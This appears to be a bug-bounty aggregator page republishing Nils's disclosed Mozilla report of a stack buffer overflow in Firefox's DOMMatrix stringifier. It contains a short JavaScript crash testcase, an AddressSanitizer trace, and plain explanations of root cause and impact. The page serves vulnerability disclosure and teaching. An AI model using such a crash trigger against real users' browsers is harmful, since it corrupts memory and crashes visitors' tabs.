Skip to content
Memory corruption Disclosed report Advanced

stack-buffer-overflow in mozilla::dom::DOMMatrixReadOnly::Stringify

A stack buffer overflow occurs in Firefox's DOMMatrixReadOnly::Stringify when converting a matrix value to a string, because the fixed-size character buffer used for number formatting is too small for the produced output. An attacker could trigger a memory corruption crash in the content process by loading a page with crafted JavaScript.

Nils Follow

Originally disclosed on Mozilla

  • Fixed in 7 days
  • Paid in 3 months
  • Disclosed after 7 days

Created attachment 9078654 crash.html (minimised testcase)

The following testcase crashes the latest ASAN build of Firefox 70.0a1 (SourceStamp=29e9dde37bd231a94959394554154ede52670c65).

crash.html:

<script> o1=new DOMMatrix([0,1,2,3,4,5]); o184=o1.rotateFromVector(-1,234881024); o190=o184.scale3d(129); o190.toString(); </script>

ASAN output:

==20415==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd3f693b99 at pc 0x7f6ced2cb16b bp 0x7ffd3f693730 sp 0x7ffd3f693728 WRITE of size 1 at 0x7ffd3f693b99 thread T0 (file:// Content) #0 0x7f6ced2cb16a in Finalize /builds/worker/workspace/build/src/obj-firefox/dist/include/double-conversion/utils.h:276:24 #1 0x7f6ced2cb16a in JS::NumberToString(double, char (&) [25]) /builds/worker/workspace/build/src/js/src/jsnum.cpp:1490 #2 0x7f6ce159f0b1 in operator() /builds/worker/workspace/build/src/dom/base/DOMMatrix.cpp:512:5 #3 0x7f6ce159f0b1 in mozilla::dom::DOMMatrixReadOnly::Stringify(nsTSubstring<char16_t>&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/DOMMatrix.cpp:525 #4 0x7f6ce40de575 in mozilla::dom::DOMMatrixReadOnly_Binding::__stringifier(JSContext*, JS::Handle<JSObject*>, mozilla::dom::DOMMatrixReadOnly*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/DOMMatrixBinding.cpp:5851:24 #5 0x7f6ce4bf3e28 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3181:13 #6 0x7f6cec5eb8c7 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448:13 #7 0x7f6cec5eb8c7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:540 #8 0x7f6cec5cc296 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:599:10 #9 0x7f6cec5cc296 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3089 #10 0x7f6cec5b5caf in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:425:10 #11 0x7f6cec5f218f in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:787:13 #12 0x7f6cec5f295f in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:820:10 #13 0x7f6cec8a787a in ExecuteScript(JSContext*, JS::Handle<JS::StackGCVector<JSObject*, js::TempAllocPolicy> >, JS::Handle<JSScript*>, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/CompilationAndEvaluation.cpp:468:10 #14 0x7f6ce1b0eb30 in nsJSUtils::ExecutionContext::ExecScript() /builds/worker/workspace/build/src/dom/base/nsJSUtils.cpp:416:8 #15 0x7f6ce777914b in mozilla::dom::ExecuteCompiledScript(JSContext*, mozilla::dom::ScriptLoadRequest*, nsJSUtils::ExecutionContext&) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:2588:16 #16 0x7f6ce7775a9f in mozilla::dom::ScriptLoader::EvaluateScript(mozilla::dom::ScriptLoadRequest*) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:2812:20 #17 0x7f6ce776c677 in mozilla::dom::ScriptLoader::ProcessRequest(mozilla::dom::ScriptLoadRequest*) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:2315:10 #18 0x7f6ce7767bc3 in mozilla::dom::ScriptLoader::ProcessInlineScript(nsIScriptElement*, mozilla::dom::ScriptKind) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:1862:10 #19 0x7f6ce7736f38 in mozilla::dom::ScriptLoader::ProcessScriptElement(nsIScriptElement*) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:1585:10 #20 0x7f6ce7735f3c in mozilla::dom::ScriptElement::MaybeProcessScript() /builds/worker/workspace/build/src/dom/script/ScriptElement.cpp:118:18 #21 0x7f6ce00518da in AttemptToExecute /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIScriptElement.h:224:18 #22 0x7f6ce00518da in nsHtml5TreeOpExecutor::RunScript(nsIContent*) /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:726 #23 0x7f6ce004b173 in nsHtml5TreeOpExecutor::RunFlushLoop() /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:529:7 #24 0x7f6ce00582d0 in nsHtml5ExecutorFlusher::Run() /builds/worker/workspace/build/src/parser/html/nsHtml5StreamParser.cpp:132:18 #25 0x7f6cdd11edc5 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:295:32 #26 0x7f6cdd15fd0c in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1225:14 #27 0x7f6cdd167b94 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10 #28 0x7f6cde58accf in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:88:21 #29 0x7f6cde45285e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10 #30 0x7f6cde45285e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308 #31 0x7f6cde45285e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290 #32 0x7f6ce7c171d3 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27 #33 0x7f6cec30cb6e in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:919:20 #34 0x7f6cde45285e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10 #35 0x7f6cde45285e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308 #36 0x7f6cde45285e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290 #37 0x7f6cec30b6b1 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:754:34 #38 0x55b42c483173 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28 #39 0x55b42c483173 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:267 #40 0x7f6d02348b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #41 0x55b42c3a46ac in _start (/home/nils/browser/firefox/firefox/firefox+0x456ac)

Address 0x7ffd3f693b99 is located in stack of thread T0 (file:// Content) at offset 761 in frame #0 0x7f6ce159e26f in mozilla::dom::DOMMatrixReadOnly::Stringify(nsTSubstring<char16_t>&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/DOMMatrix.cpp:500

This frame has 24 object(s): [32, 48) 'ref.tmp.i447' (line 506) [64, 80) 'ref.tmp.i426' (line 506) [96, 112) 'ref.tmp.i405' (line 506) [128, 144) 'ref.tmp.i384' (line 506) [160, 176) 'ref.tmp.i363' (line 506) [192, 208) 'ref.tmp.i342' (line 506) [224, 240) 'ref.tmp.i321' (line 506) [256, 272) 'ref.tmp.i305' (line 506) [288, 304) 'ref.tmp.i289' (line 506) [320, 336) 'ref.tmp.i269' (line 506) [352, 368) 'ref.tmp.i250' (line 506) [384, 400) 'ref.tmp.i234' (line 506) [416, 432) 'ref.tmp.i218' (line 506) [448, 464) 'ref.tmp.i202' (line 506) [480, 496) 'ref.tmp.i186' (line 506) [512, 528) 'ref.tmp.i170' (line 506) [544, 560) 'ref.tmp.i154' (line 506) [576, 592) 'ref.tmp.i135' (line 506) [608, 624) 'ref.tmp.i116' (line 506) [640, 656) 'ref.tmp.i100' (line 506) [672, 688) 'ref.tmp.i84' (line 506) [704, 720) 'ref.tmp.i' (line 506) [736, 761) 'cbuf' (line 501) <== Memory access at offset 761 overflows this variable [800, 952) 'matrixStr' (line 502) HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions are supported) SUMMARY: AddressSanitizer: stack-buffer-overflow /builds/worker/workspace/build/src/obj-firefox/dist/include/double-conversion/utils.h:276:24 in Finalize Shadow bytes around the buggy address: 0x100027eca720: f8 f8 f2 f2 f8 f8 f2 f2 f8 f8 f2 f2 f8 f8 f2 f2 0x100027eca730: f8 f8 f2 f2 f8 f8 f2 f2 f8 f8 f2 f2 f8 f8 f2 f2 0x100027eca740: f8 f8 f2 f2 f8 f8 f2 f2 f8 f8 f2 f2 f8 f8 f2 f2 0x100027eca750: f8 f8 f2 f2 f8 f8 f2 f2 f8 f8 f2 f2 f8 f8 f2 f2 0x100027eca760: f8 f8 f2 f2 f8 f8 f2 f2 f8 f8 f2 f2 f8 f8 f2 f2 =>0x100027eca770: 00 00 00[01]f2 f2 f2 f2 00 00 00 00 00 00 00 00 0x100027eca780: 00 00 00 00 00 00 00 00 00 00 00 f3 f3 f3 f3 f3 0x100027eca790: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 0x100027eca7a0: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 0x100027eca7b0: 00 f2 f2 f2 00 00 f2 f2 00 00 00 00 00 00 00 00 0x100027eca7c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f3 f3 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==20415==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the number-to-string conversion writes into a fixed-size stack buffer that is too small for the formatted output of certain matrix values.

Impact

A crafted web page could cause a stack buffer overflow in the content process, leading to a crash and potentially memory corruption.

What the attacker needed

Victim loads a crafted web page; JavaScript enabled

How it was found

  1. Create a DOMMatrix with the given initial values.
  2. Call rotateFromVector with large arguments on it.
  3. Call scale3d on the result.
  4. Call toString on the resulting matrix to trigger the stringifier.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Firefox has a feature that lets web pages do matrix maths, and when a page asks for the result as text, the browser writes the numbers into a small fixed-size box on the stack. With certain values the text is longer than the box, so the write spills past its end and corrupts nearby memory, which crashes the browser tab. A malicious page could do this to a visitor.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.